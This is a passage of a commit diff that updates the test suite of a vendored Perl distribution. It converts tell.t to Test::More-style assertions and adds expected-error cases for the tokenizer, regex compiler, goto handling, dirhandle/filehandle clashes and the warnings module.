+    ok(close $b, "close other end");
+}
+
+SKIP: {
+    skip "no fcntl", 1 unless $Config{d_fcntl};
+    my($a, $b);
+    socketpair($a, $b, PF_UNIX, SOCK_STREAM, 0) or die "socketpair: $!";
+    my $fda = fileno($a);
+    my $fdb = fileno($b);
+    fresh_perl_is(qq(
+	print open(F, "+<&=$fda") ? 1 : 0, "\\n";
+	print open(F, "+<&=$fdb") ? 1 : 0, "\\n";
+    ), "0\n0\n", {}, "sockets not inherited across exec");
+}

Modified: vendor/perl/dist/t/io/tell.t
===================================================================
--- vendor/perl/dist/t/io/tell.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/io/tell.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
     set_up_inc('../lib');
 }
 
-print "1..35\n";
+plan(35);
 
 $TST = 'TST';
 
@@ -16,7 +16,7 @@
 
 open($TST, 'harness') || (die "Can't open harness");
 binmode $TST if $Is_Dosish;
-if (eof(TST)) { print "not ok 1\n"; } else { print "ok 1\n"; }
+ok(!eof(TST), "eof is false after open() non-empty file");
 
 $firstline = <$TST>;
 $secondpos = tell;
@@ -25,33 +25,33 @@
 while (<TST>) {
     if (eof) {$x++;}
 }
-if ($x == 1) { print "ok 2\n"; } else { print "not ok 2\n"; }
+is($x, 1, "only one eof is in the file");
 
 $lastpos = tell;
 
-unless (eof) { print "not ok 3\n"; } else { print "ok 3\n"; }
+ok(eof, "tell() doesn't change current state of eof");
 
-if (seek($TST,0,0)) { print "ok 4\n"; } else { print "not ok 4\n"; }
+ok(seek($TST,0,0), "set current position at beginning of the file");
 
-if (eof) { print "not ok 5\n"; } else { print "ok 5\n"; }
+ok(!eof, "reset at beginning of file clears eof flag");
 
-if ($firstline eq <TST>) { print "ok 6\n"; } else { print "not ok 6\n"; }
+is($firstline, <TST>, "first line is the same after open() and after seek()");
 
-if ($secondpos == tell) { print "ok 7\n"; } else { print "not ok 7\n"; }
+is($secondpos, tell, "position is the same after reading the first line");
 
-if (seek(TST,0,1)) { print "ok 8\n"; } else { print "not ok 8\n"; }
+ok(seek(TST,0,1), "move current position on +0");
 
-if (eof($TST)) { print "not ok 9\n"; } else { print "ok 9\n"; }
+ok(!eof($TST), "it doesn't set eof flag");
 
-if ($secondpos == tell) { print "ok 10\n"; } else { print "not ok 10\n"; }
+is($secondpos, tell, "it doesn't change tell position");
 
-if (seek(TST,0,2)) { print "ok 11\n"; } else { print "not ok 11\n"; }
+ok(seek(TST,0,2), "move current position at the end of the file");
 
-if ($lastpos == tell) { print "ok 12\n"; } else { print "not ok 12\n"; }
+is($lastpos, tell, "the position is the same as after reading whole file line by line");
 
-unless (eof) { print "not ok 13\n"; } else { print "ok 13\n"; }
+ok(eof, "it sets eof flag");
 
-if ($. == 0) { print "not ok 14\n"; } else { print "ok 14\n"; }
+ok($., "current line number \$. is not null");
 
 $curline = $.;
 open(OTHER, 'harness') || (die "Can't open harness: $!");
@@ -60,42 +60,43 @@
 {
     local($.);
 
-    if ($. == 0) { print "not ok 15\n"; } else { print "ok 15\n"; }
+    ok($., "open() doesn't change filehandler for \$.");
 
     tell OTHER;
-    if ($. == 0) { print "ok 16\n"; } else { print "not ok 16\n"; }
+    ok(!$., "tell() does change filehandler for \$.");
 
     $. = 5;
     scalar <OTHER>;
-    if ($. == 6) { print "ok 17\n"; } else { print "not ok 17\n"; }
+    is ($., 6, "reading of one line adds +1 to current line number \$.");
 }
 
-if ($. == $curline) { print "ok 18\n"; } else { print "not ok 18\n"; }
+is($., $curline, "the 'local' correctly restores old value of filehandler for \$. when goes out of scope");
 
 {
     local($.);
 
     scalar <OTHER>;
-    if ($. == 7) { print "ok 19\n"; } else { print "not ok 19\n"; }
+    is($., 7, "reading of one line inside 'local' change filehandler for \$.");
 }
 
-if ($. == $curline) { print "ok 20\n"; } else { print "not ok 20\n"; }
+is($., $curline, "the 'local' correctly restores old value of filehandler for \$. when goes out of scope");
 
 {
     local($.);
 
     tell OTHER;
-    if ($. == 7) { print "ok 21\n"; } else { print "not ok 21\n"; }
+    is($., 7, "tell() inside 'local' change filehandler for \$.");
 }
 
 close(OTHER);
 {
     no warnings 'closed';
-    if (tell(OTHER) == -1)  { print "ok 22\n"; } else { print "not ok 22\n"; }
+    is(tell(OTHER), -1, "tell() for closed file returns -1");
 }
 {
     no warnings 'unopened';
-    if (tell(ETHER) == -1)  { print "ok 23\n"; } else { print "not ok 23\n"; }
+    # this must be a handle that has never been opened
+    is(tell(UNOPENED), -1, "tell() for unopened file returns -1");
 }
 
 # ftell(STDIN) (or any std streams) is undefined, it can return -1 or
@@ -108,15 +109,15 @@
 open($tst,">$written")  || die "Cannot open $written:$!";
 binmode $tst if $Is_Dosish;
 
-if (tell($tst) == 0) { print "ok 24\n"; } else { print "not ok 24\n"; }
+is(tell($tst), 0, "tell() for new file returns 0");
 
 print $tst "fred\n";
 
-if (tell($tst) == 5) { print "ok 25\n"; } else { print "not ok 25\n"; }
+is(tell($tst), 5, 'tell() after writing "fred\n" returns 5');
 
 print $tst "more\n";
 
-if (tell($tst) == 10) { print "ok 26\n"; } else { print "not ok 26\n"; }
+is(tell($tst), 10, 'tell() after writing "more\n" returns 10');
 
 close($tst);
 
@@ -127,21 +128,21 @@
 {
  # :stdio does not pass these so ignore them for now 
 
-if (tell($tst) == 0) { print "ok 27\n"; } else { print "not ok 27\n"; }
+is(tell($tst), 0, 'tell() for open mode "+>>" returns 0');
 
 $line = <$tst>;
 
-if ($line eq "fred\n") { print "ok 29\n"; } else { print "not ok 29\n"; }
+is($line, "fred\n", 'check first line in mode "+>>"');
 
-if (tell($tst) == 5) { print "ok 30\n"; } else { print "not ok 30\n"; }
+is(tell($tst), 5, "check tell() afrer reading first line");
 
 }
 
 print $tst "xxxx\n";
 
-if (tell($tst) == 15 ||
-    tell($tst) == 5) # unset PERLIO or PERLIO=stdio (e.g. HP-UX, Solaris)
-{ print "ok 27\n"; } else { print "not ok 27\n"; }
+ok( tell($tst) == 15 ||
+    tell($tst) == 5,
+    'check tell() after writing "xxxx\n"'); # unset PERLIO or PERLIO=stdio (e.g. HP-UX, Solaris)
 
 close($tst);
 
@@ -156,17 +157,17 @@
 # Cygwin and VOS differ from other implementations.
 
 if (tell ($tst) == 6) {
-  print "ok 28\n";
+  pass("check tell() after writing in mode '>>'");
 }
 else {
   if (($^O eq "cygwin") && (&PerlIO::get_layers($tst) eq 'stdio')) {
-    print "not ok 28 # TODO: file pointer not at eof\n";
+    fail "# TODO: file pointer not at eof";
   }
   elsif ($^O eq "vos") {
-    print "not ok 28 # TODO: Hit bug posix-2056. file pointer not at eof\n";
+    fail "# TODO: Hit bug posix-2056. file pointer not at eof";
   }
   else {
-    print "not ok 28 - file pointer not at eof\n";
+    fail "file pointer not at eof";
   }
 }
 
@@ -174,22 +175,15 @@
 
 open FH, "test.pl";
 $fh = *FH; # coercible glob
-$not = "not " x! (tell $fh == 0);
-print "${not}ok 29 - tell on coercible glob\n";
-$not = "not " x! (tell == 0);
-print "${not}ok 30 - argless tell after tell \$coercible\n";
+is(tell($fh), 0, "tell on coercible glob");
+is(tell, 0, "argless tell after tell \$coercible");
 tell *$fh;
-$not = "not " x! (tell == 0);
-print "${not}ok 31 - argless tell after tell *\$coercible\n";
+is(tell, 0, "argless tell after tell *\$coercible");
 eof $fh;
-$not = "not " x! (tell == 0);
-print "${not}ok 32 - argless tell after eof \$coercible\n";
+is(tell, 0, "argless tell after eof \$coercible");
 eof *$fh;
-$not = "not " x! (tell == 0);
-print "${not}ok 33 - argless tell after eof *\$coercible\n";
+is(tell, 0, "argless tell after eof *\$coercible");
 seek $fh,0,0;
-$not = "not " x! (tell == 0);
-print "${not}ok 34 - argless tell after seek \$coercible...\n";
+is(tell, 0, "argless tell after seek \$coercible...");
 seek *$fh,0,0;
-$not = "not " x! (tell == 0);
-print "${not}ok 35 - argless tell after seek *\$coercible...\n";
+is(tell, 0, "argless tell after seek *\$coercible...");

Modified: vendor/perl/dist/t/io/through.t
===================================================================
--- vendor/perl/dist/t/io/through.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/io/through.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,6 +10,8 @@
 
 use strict;
 
+++$|;
+
 my $Perl = which_perl();
 
 my $data = <<'EOD';
@@ -35,8 +37,8 @@
 
 print "1..$c\n";
 
-my $set_out = '';
-$set_out = "binmode STDOUT, ':crlf'"
+my $set_out = "binmode STDOUT, ':raw'";
+$set_out = "binmode STDOUT, ':raw:crlf'"
     if defined  $main::use_crlf && $main::use_crlf == 1;
 
 sub testread ($$$$$$$) {
@@ -89,6 +91,7 @@
   } else {
     die "Unrecognized write: '$how_w'";
   }
+  binmode $fh; # remove any :utf8 set by PERL_UNICODE
   binmode $fh, ':crlf'
       if defined $main::use_crlf && $main::use_crlf == 1;
   testread($fh, $str, $read_c, $how_r, $write_c, $how_w, "pipe$why");
@@ -101,6 +104,7 @@
   my $filename = tempfile();
   open my $fh, '>', $filename or die "open: > $filename: $!";
   select $fh;
+  binmode $fh; # remove any :utf8 set by PERL_UNICODE
   binmode $fh, ':crlf' 
       if defined $main::use_crlf && $main::use_crlf == 1;
   if ($how_w eq 'print') {	# AUTOFLUSH???
@@ -116,6 +120,7 @@
   }
   close $fh or die "close: $!";
   open $fh, '<', $filename or die "open: < $filename: $!";
+  binmode $fh;
   binmode $fh, ':crlf'
       if defined $main::use_crlf && $main::use_crlf == 1;
   testread($fh, $str, $read_c, $how_r, $write_c, $how_w, "file$why");

Modified: vendor/perl/dist/t/lib/croak/mg
===================================================================
--- vendor/perl/dist/t/lib/croak/mg	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/croak/mg	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,3 +5,10 @@
 warn "Mmm, pie";
 EXPECT
 No such hook: _HUNGRY at - line 2.
+########
+# NAME ${^ENCODING}
+${^ENCODING} = undef;
+{ local ${^ENCODING}; }
+${^ENCODING} = 42;
+EXPECT
+${^ENCODING} is no longer supported at - line 3.

Modified: vendor/perl/dist/t/lib/croak/op
===================================================================
--- vendor/perl/dist/t/lib/croak/op	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/croak/op	2018-12-22 22:55:19 UTC (rev 12126)
@@ -69,7 +69,6 @@
 use feature 'bitwise';
 @a &= 1;
 EXPECT
-The bitwise feature is experimental at - line 2.
 Can't modify array dereference in numeric bitwise and (&) at - line 2, near "1;"
 Execution of - aborted due to compilation errors.
 ########
@@ -77,7 +76,6 @@
 use feature 'bitwise';
 @a |= 1;
 EXPECT
-The bitwise feature is experimental at - line 2.
 Can't modify array dereference in numeric bitwise or (|) at - line 2, near "1;"
 Execution of - aborted due to compilation errors.
 ########
@@ -85,7 +83,6 @@
 use feature 'bitwise';
 @a ^= 1;
 EXPECT
-The bitwise feature is experimental at - line 2.
 Can't modify array dereference in numeric bitwise xor (^) at - line 2, near "1;"
 Execution of - aborted due to compilation errors.
 ########
@@ -93,7 +90,6 @@
 use feature 'bitwise';
 @a &.= 1;
 EXPECT
-The bitwise feature is experimental at - line 2.
 Can't modify array dereference in string bitwise and (&.) at - line 2, near "1;"
 Execution of - aborted due to compilation errors.
 ########
@@ -101,7 +97,6 @@
 use feature 'bitwise';
 @a |.= 1;
 EXPECT
-The bitwise feature is experimental at - line 2.
 Can't modify array dereference in string bitwise or (|.) at - line 2, near "1;"
 Execution of - aborted due to compilation errors.
 ########
@@ -109,7 +104,6 @@
 use feature 'bitwise';
 @a ^.= 1;
 EXPECT
-The bitwise feature is experimental at - line 2.
 Can't modify array dereference in string bitwise xor (^.) at - line 2, near "1;"
 Execution of - aborted due to compilation errors.
 ########
@@ -152,13 +146,13 @@
 # NAME ($_, state $x) = ...
 ($_, CORE::state $x) = ();
 EXPECT
-Initialization of state variables in list context currently forbidden at - line 1, near ");"
+Initialization of state variables in list currently forbidden at - line 1, near ");"
 Execution of - aborted due to compilation errors.
 ########
 # NAME my $y; ($y, state $x) = ...
 my $y; ($y, CORE::state $x) = ();
 EXPECT
-Initialization of state variables in list context currently forbidden at - line 1, near ");"
+Initialization of state variables in list currently forbidden at - line 1, near ");"
 Execution of - aborted due to compilation errors.
 ########
 # NAME delete BAD

Modified: vendor/perl/dist/t/lib/croak/pp_ctl
===================================================================
--- vendor/perl/dist/t/lib/croak/pp_ctl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/croak/pp_ctl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,38 @@
 __END__
+# NAME goto into foreach
+no warnings 'deprecated';
+goto f;
+foreach(1){f:}
+EXPECT
+Can't "goto" into the middle of a foreach loop at - line 3.
+########
+# NAME goto into given
+no warnings 'deprecated';
+goto f;
+CORE::given(1){f:}
+EXPECT
+given is experimental at - line 3.
+Can't "goto" into a "given" block at - line 3.
+########
+# NAME goto from given topic expression
+no warnings 'deprecated';
+CORE::given(goto f){f:}
+EXPECT
+given is experimental at - line 2.
+Can't "goto" into a "given" block at - line 2.
+########
+# NAME goto into expression
+no warnings 'deprecated';
+eval { goto a; 1 + do { a: } }; warn $@;
+eval { goto b; meth { b: }   }; warn $@;
+eval { goto c; map { c: } () }; warn $@;
+eval { goto d; f(do { d: })  }; die  $@;
+EXPECT
+Can't "goto" into a binary or list expression at - line 2.
+Can't "goto" into a binary or list expression at - line 3.
+Can't "goto" into a binary or list expression at - line 4.
+Can't "goto" into a binary or list expression at - line 5.
+########
 # NAME dump with computed label
 no warnings 'deprecated';
 my $label = "foo";

Modified: vendor/perl/dist/t/lib/croak/pp_sys
===================================================================
--- vendor/perl/dist/t/lib/croak/pp_sys	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/croak/pp_sys	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,3 +14,62 @@
 EXPECT
 Bad symbol for filehandle at - line 2.
 ########
+# NAME open on global dirhandle
+opendir FOO, ".";
+open FOO, "../harness";
+EXPECT
+Cannot open FOO as a filehandle: it is already open as a dirhandle at - line 2.
+########
+# NAME open on lexical dirhandle
+opendir my $foo, ".";
+open $foo, "../harness";
+EXPECT
+Cannot open $foo as a filehandle: it is already open as a dirhandle at - line 2.
+########
+# NAME open on global utf8 dirhandle
+use utf8;
+use open qw( :utf8 :std );
+use warnings;
+opendir FOO, ".";
+open FOO, "../harness";
+EXPECT
+Cannot open FOO as a filehandle: it is already open as a dirhandle at - line 5.
+########
+# NAME open on lexical utf8 dirhandle
+use utf8;
+use open qw( :utf8 :std );
+use warnings;
+opendir my $foo, ".";
+open $foo, "../harness";
+EXPECT
+Cannot open $foo as a filehandle: it is already open as a dirhandle at - line 5.
+########
+# NAME opendir on global filehandle
+open FOO, "../harness";
+opendir FOO, ".";
+EXPECT
+Cannot open FOO as a dirhandle: it is already open as a filehandle at - line 2.
+########
+# NAME opendir on lexical filehandle
+open my $foo, "../harness";
+opendir $foo, ".";
+EXPECT
+Cannot open $foo as a dirhandle: it is already open as a filehandle at - line 2.
+########
+# NAME opendir on global utf8 filehandle
+use utf8;
+use open qw( :utf8 :std );
+use warnings;
+open FOO, "../harness";
+opendir FOO, ".";
+EXPECT
+Cannot open FOO as a dirhandle: it is already open as a filehandle at - line 5.
+########
+# NAME opendir on lexical utf8 filehandle
+use utf8;
+use open qw( :utf8 :std );
+use warnings;
+open my $foo, "../harness";
+opendir $foo, ".";
+EXPECT
+Cannot open $foo as a dirhandle: it is already open as a filehandle at - line 5.

Added: vendor/perl/dist/t/lib/croak/regcomp
===================================================================
--- vendor/perl/dist/t/lib/croak/regcomp	                        (rev 0)
+++ vendor/perl/dist/t/lib/croak/regcomp	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,65 @@
+__END__
+# NAME \N{U+too large} on 64-bit machine
+# SKIP ? use Config; $Config{uvsize} < 8 && "Not 64 bit"
+qr/\N{U+7FFFFFFFFFFFFFFF}/;
+qr/\N{U+1_0000_0000_0000_0000}/;
+EXPECT
+Use of code point 0x1_0000_0000_0000_0000 is not allowed; the permissible max is 0x7fffffffffffffff in regex; marked by <-- HERE in m/\N{U+1_0000_0000_0000_0000 <-- HERE }/ at - line 2.
+########
+# NAME \N{U+too large} on 32-bit machine
+# SKIP ? use Config; $Config{uvsize} > 4 && "Not 32 bit"
+qr/\N{U+7FFFFFFF}/;
+qr/\N{U+1_0000_0000}/;
+EXPECT
+Use of code point 0x1_0000_0000 is not allowed; the permissible max is 0x7fffffff in regex; marked by <-- HERE in m/\N{U+1_0000_0000 <-- HERE }/ at - line 2.
+########
+# NAME \N{U+100.too large} on 64-bit machine
+# SKIP ? use Config; $Config{uvsize} < 8 && "Not 64 bit"
+qr/\N{U+100.7FFFFFFFFFFFFFFF}/;
+qr/\N{U+100.1_0000_0000_0000_0000}/;
+EXPECT
+Use of code point 0x1_0000_0000_0000_0000 is not allowed; the permissible max is 0x7fffffffffffffff in regex; marked by <-- HERE in m/\N{U+100.1_0000_0000_0000_0000 <-- HERE }/ at - line 2.
+########
+# NAME \N{U+100.too large} on 32-bit machine
+# SKIP ? use Config; $Config{uvsize} > 4 && "Not 32 bit"
+qr/\N{U+100.7FFFFFFF}/;
+qr/\N{U+100.1_0000_0000}/;
+EXPECT
+Use of code point 0x1_0000_0000 is not allowed; the permissible max is 0x7fffffff in regex; marked by <-- HERE in m/\N{U+100.1_0000_0000 <-- HERE }/ at - line 2.
+########
+# NAME \N{U+.}
+my $p00="\\N{U+.}"; qr/$p00/;
+EXPECT
+Invalid hexadecimal number in \N{U+...} in regex; marked by <-- HERE in m/\N{U+. <-- HERE }/ at - line 1.
+########
+# NAME \N{U+100.}
+my $p00="\\N{U+100.}"; qr/$p00/;
+EXPECT
+Invalid hexadecimal number in \N{U+...} in regex; marked by <-- HERE in m/\N{U+100. <-- HERE }/ at - line 1.
+########
+# NAME \N{U+_100}
+my $p00="\\N{U+_100}"; qr/$p00/;
+EXPECT
+Invalid hexadecimal number in \N{U+...} in regex; marked by <-- HERE in m/\N{U+_ <-- HERE 100}/ at - line 1.
+########
+# NAME \N{U+100_}
+my $p00="\\N{U+100_}"; qr/$p00/;
+EXPECT
+Invalid hexadecimal number in \N{U+...} in regex; marked by <-- HERE in m/\N{U+100_ <-- HERE }/ at - line 1.
+########
+# NAME [\xDF\N{U+.}]
+# SKIP ? ord("A") != 65 && "Test valid only on ASCII machines"
+my $p00="[\\xDF\\N{U+.}]"; qr/$p00/ui;
+# The sharp s under /i recodes the parse, and this was causing a segfault when
+# the error message referred to the original pattern
+EXPECT
+Invalid hexadecimal number in \N{U+...} in regex; marked by <-- HERE in m/[\xDF\N{U+. <-- HERE }]/ at - line 1.
+########
+# NAME [\x59\N{U+.}]
+# SKIP ? ord("A") == 65 && "Test valid only on EBCDIC machines"
+my $p00="[\\x59\\N{U+.}]"; qr/$p00/ui;
+# The sharp s under /i recodes the parse, and this was causing a segfault when
+# the error message referred to the original pattern
+EXPECT
+Invalid hexadecimal number in \N{U+...} in regex; marked by <-- HERE in m/[\x59\N{U+. <-- HERE }]/ at - line 1.
+########

Modified: vendor/perl/dist/t/lib/croak/toke
===================================================================
--- vendor/perl/dist/t/lib/croak/toke	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/croak/toke	2018-12-22 22:55:19 UTC (rev 12126)
@@ -92,6 +92,11 @@
 EXPECT
 Can't find string terminator "'" anywhere before EOF at - line 1.
 ########
+# NAME Unterminated ""
+"
+EXPECT
+Can't find string terminator '"' anywhere before EOF at - line 1.
+########
 # NAME Unterminated q// with non-ASCII delimiter, under utf8
 BEGIN { binmode STDERR, ":utf8" }
 use utf8;
@@ -133,6 +138,12 @@
 EXPECT
 Missing name in "state sub" at - line 2.
 ########
+# NAME our sub pack::foo
+our sub foo::bar;
+EXPECT
+No package name allowed for subroutine &foo::bar in "our" at - line 1, near "our sub foo::bar"
+Execution of - aborted due to compilation errors.
+########
 # NAME my sub pack::foo
 use feature 'lexical_subs', 'state';
 my sub foo::bar;
@@ -278,6 +289,44 @@
 Constant(q) unknown at - line 12, near ""a""
 - has too many errors.
 ########
+# NAME Bad name after ' (with other helpful messages)
+sub has{}
+has erdef => (
+    isa => 'Int',
+    is => 'ro,
+    default => sub { 1 }
+);
+
+has cxxc => (
+    isa => 'Int',
+    is => 'ro',
+    default => sub { 1 }
+);
+EXPECT
+Bareword found where operator expected at - line 9, near "isa => 'Int"
+  (Might be a runaway multi-line '' string starting on line 4)
+	(Do you need to predeclare isa?)
+Bad name after Int' at - line 9.
+########
+# NAME Bad name after :: (with other helpful messages)
+sub has{}
+has erdef => (
+    isa => 'Int',
+    is => "ro,
+    default => sub { 1 }
+);
+
+has cxxc => (
+    isa => "Foo::$subpackage",
+    is => 'ro',
+    default => sub { 1 }
+);
+EXPECT
+Bareword found where operator expected at - line 9, near "isa => "Foo"
+  (Might be a runaway multi-line "" string starting on line 4)
+	(Do you need to predeclare isa?)
+Bad name after Foo:: at - line 9.
+########
 # NAME Unterminated delimiter for here document
 <<"foo
 EXPECT
@@ -371,3 +420,63 @@
 EXPECT
 Missing braces on \o{} at - line 2, within string
 Execution of - aborted due to compilation errors.
+########
+# NAME bare <<
+$a = <<;
+
+EXPECT
+Use of bare << to mean <<"" is forbidden at - line 1.
+########
+# NAME bare <<~
+$a = <<~;
+EXPECT
+Use of bare << to mean <<"" is forbidden at - line 1.
+########
+# NAME bare <<~
+$a = <<~ ;
+
+EXPECT
+Use of bare << to mean <<"" is forbidden at - line 1.
+########
+# NAME incomplete floating point decimal exponent (#131725)
+1e--5
+EXPECT
+Bareword found where operator expected at - line 1, near "1e"
+	(Missing operator before e?)
+Number found where operator expected at - line 1, near "--5"
+	(Missing operator before 5?)
+syntax error at - line 1, near "1e"
+Execution of - aborted due to compilation errors.
+########
+# NAME signature with non-"=" assignop #131777
+use feature 'signatures';
+no warnings 'experimental::signatures';
+sub foo ($a += 1)
+EXPECT
+Illegal operator following parameter in a subroutine signature at - line 3, near "($a += 1"
+syntax error at - line 3, near "($a += 1"
+Execution of - aborted due to compilation errors.
+########
+# NAME tr/// range with empty \N{} at the start
+tr//\N{}-0/;
+EXPECT
+Unknown charname '' at - line 1, within string
+Execution of - aborted due to compilation errors.
+########
+# NAME octal fp with non-octal digits after the decimal point
+01.1234567p0;
+07.8p0;
+EXPECT
+Bareword found where operator expected at - line 2, near "8p0"
+	(Missing operator before p0?)
+syntax error at - line 2, near "8p0"
+Execution of - aborted due to compilation errors.
+########
+# NAME binary fp with non-binary digits after the decimal point
+0b1.10p0;
+0b1.2p0;
+EXPECT
+Bareword found where operator expected at - line 2, near "2p0"
+	(Missing operator before p0?)
+syntax error at - line 2, near "2p0"
+Execution of - aborted due to compilation errors.

Modified: vendor/perl/dist/t/lib/dbmt_common.pl
===================================================================
--- vendor/perl/dist/t/lib/dbmt_common.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/dbmt_common.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -156,12 +156,11 @@
 
    use strict;
    use warnings;
-   use vars qw(@ISA @EXPORT);
 
    require Exporter;
    use %s;
-   @ISA=qw(%s);
-   @EXPORT = @%s::EXPORT;
+   our @ISA=qw(%s);
+   our @EXPORT = @%s::EXPORT;
 
    sub STORE {
 	my $self = shift;

Modified: vendor/perl/dist/t/lib/feature/bundle
===================================================================
--- vendor/perl/dist/t/lib/feature/bundle	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/feature/bundle	2018-12-22 22:55:19 UTC (rev 12126)
@@ -92,7 +92,7 @@
 use feature ":5.16";
 print qw[a b c][2], "\n";
 EXPECT
-Use of assignment to $[ is deprecated at - line 4.
+Use of assignment to $[ is deprecated, and will be fatal in Perl 5.30 at - line 4.
 b
 b
 c
@@ -104,7 +104,7 @@
 $[ = 1;
 print qw[a b c][2], "\n";
 EXPECT
-Use of assignment to $[ is deprecated at - line 4.
+Use of assignment to $[ is deprecated, and will be fatal in Perl 5.30 at - line 4.
 b
 ########
 # "no feature 'all"
@@ -114,7 +114,7 @@
 $[ = 1;
 print qw[a b c][2], "\n";
 EXPECT
-Use of assignment to $[ is deprecated at - line 2.
+Use of assignment to $[ is deprecated, and will be fatal in Perl 5.30 at - line 2.
 Assigning non-zero to $[ is no longer possible at - line 5.
 b
 ########

Modified: vendor/perl/dist/t/lib/warnings/9enabled
===================================================================
--- vendor/perl/dist/t/lib/warnings/9enabled	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/warnings/9enabled	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,5 @@
-Check warnings::enabled & warnings::warn
+Check warnings::enabled, warnings::warn and other functionality of
+warnings.pm.
 
 __END__
 
@@ -883,10 +884,10 @@
 def all enabled
 abc43 self not enabled
 abc43 def enabled
-abc43 all not enabled
+abc43 all enabled
 def self enabled
 def abc43 not enabled
-def all not enabled
+def all enabled
 ########
 -w
 --FILE-- abc44.pm
@@ -1291,7 +1292,7 @@
 --FILE-- fatal4.pm
 package fatal4 ;
 no warnings ;
-print "ok1\n" if !warnings::fatal_enabled('all') ;
+print "ok1\n" if warnings::fatal_enabled('all') ;
 print "ok2\n" if warnings::fatal_enabled("void") ;
 print "ok3\n" if !warnings::fatal_enabled("syntax") ;
 1;
@@ -1302,3 +1303,173 @@
 ok1
 ok2
 ok3
+########
+{ Quux::quux(); }
+{ no warnings; Quux::quux(); }
+{ no warnings; use warnings "void"; Quux::quux(); }
+{ use warnings; Quux::quux(); }
+{ use warnings; no warnings "void"; Quux::quux(); }
+use warnings ();
+BEGIN { warnings::register_categories(qw(wibble wobble wabble wubble webble)); }
+package Quux {
+  sub quux {
+    warnings::warnif($_, "My $_ is flanged")
+      foreach qw(wibble wobble wabble wubble webble);
+    ();
+  }
+}
+{ Quux::quux(); }
+{ no warnings; Quux::quux(); }
+{ no warnings; use warnings "void"; Quux::quux(); }
+{ use warnings; Quux::quux(); }
+{ use warnings; no warnings "void"; Quux::quux(); }
+{ no warnings; use warnings qw(wibble wabble webble); Quux::quux(); }
+{ no warnings; use warnings qw(wobble wubble); Quux::quux(); }
+{ use warnings; no warnings qw(wibble wabble webble); Quux::quux(); }
+{ use warnings; no warnings qw(wobble wubble); Quux::quux(); }
+{ use warnings qw(wubble NONFATAL void); Quux::quux(); }
+{ use warnings qw(wubble); no warnings "void"; Quux::quux(); }
+{ no warnings "webble"; Quux::quux(); }
+{ use warnings qw(NONFATAL webble); Quux::quux(); }
+print "done\n";
+EXPECT
+My wibble is flanged at - line 4.
+My wobble is flanged at - line 4.
+My wabble is flanged at - line 4.
+My wubble is flanged at - line 4.
+My webble is flanged at - line 4.
+My wibble is flanged at - line 5.
+My wobble is flanged at - line 5.
+My wabble is flanged at - line 5.
+My wubble is flanged at - line 5.
+My webble is flanged at - line 5.
+My wibble is flanged at - line 18.
+My wobble is flanged at - line 18.
+My wabble is flanged at - line 18.
+My wubble is flanged at - line 18.
+My webble is flanged at - line 18.
+My wibble is flanged at - line 19.
+My wobble is flanged at - line 19.
+My wabble is flanged at - line 19.
+My wubble is flanged at - line 19.
+My webble is flanged at - line 19.
+My wibble is flanged at - line 20.
+My wabble is flanged at - line 20.
+My webble is flanged at - line 20.
+My wobble is flanged at - line 21.
+My wubble is flanged at - line 21.
+My wobble is flanged at - line 22.
+My wubble is flanged at - line 22.
+My wibble is flanged at - line 23.
+My wabble is flanged at - line 23.
+My webble is flanged at - line 23.
+My wubble is flanged at - line 24.
+My wubble is flanged at - line 25.
+My webble is flanged at - line 27.
+done
+########
+# NAME _at_level
+select STDERR;
+{ use warnings "utf8"; foo() }
+sub foo { use warnings "syntax"; bar() }
+sub bar {
+ use warnings "unpack";
+ local $\="\n";
+ print "1. ", warnings::enabled_at_level("unpack", 0)||0;
+ print "2. ", warnings::enabled_at_level("unpack", 1)||0;
+ print "3. ", warnings::enabled_at_level("unpack", 2)||0;
+ print "4. ", warnings::enabled_at_level("syntax", 0)||0;
+ print "5. ", warnings::enabled_at_level("syntax", 1)||0;
+ print "6. ", warnings::enabled_at_level("syntax", 2)||0;
+ print "7. ", warnings::enabled_at_level("utf8", 0)||0;
+ print "8. ", warnings::enabled_at_level("utf8", 1)||0;
+ print "9. ", warnings::enabled_at_level("utf8", 2)||0;
+ warnings::warn_at_level  ("misc",0,"A mandatory foo warning");
+ warnings::warn_at_level  ("misc",1,"A mandatory top-level warning");
+ warnings::warnif_at_level("syntax",0,"A conditional syntax warning");
+ warnings::warnif_at_level("syntax",1,"A conditional syntax warning");
+ warnings::warnif_at_level("utf8",0,"A conditional utf8 warning");
+ warnings::warnif_at_level("utf8",1,"A conditional utf8 warning");
+}
+{ use warnings "syntax"; use warnings FATAL => "utf8"; foo2() }
+sub foo2 {
+  use warnings FATAL => "syntax"; use warnings "utf8"; bar2()
+}
+sub bar2 {
+ $\="\n";
+ print "10. ", warnings::fatal_enabled_at_level("syntax", 0)||0;
+ print "11. ", warnings::fatal_enabled_at_level("syntax", 1)||0;
+ print "12. ", warnings::fatal_enabled_at_level("utf8", 0)||0;
+ print "13. ", warnings::fatal_enabled_at_level("utf8", 1)||0;
+ undef $\;
+ eval { warnings::warn_at_level  ("syntax",1,"A fatal warning") };
+ print "Died: $@" if $@;
+ eval { warnings::warnif_at_level("syntax",1,"A fatal syntax warning") };
+ print "Died: $@" if $@;
+ eval { warnings::warnif_at_level("syntax",2,"A syntax warning") };
+ print "Died: $@" if $@;
+ eval { warnings::warnif_at_level("utf8",1,"A utf8 warning") };
+ print "Died: $@" if $@;
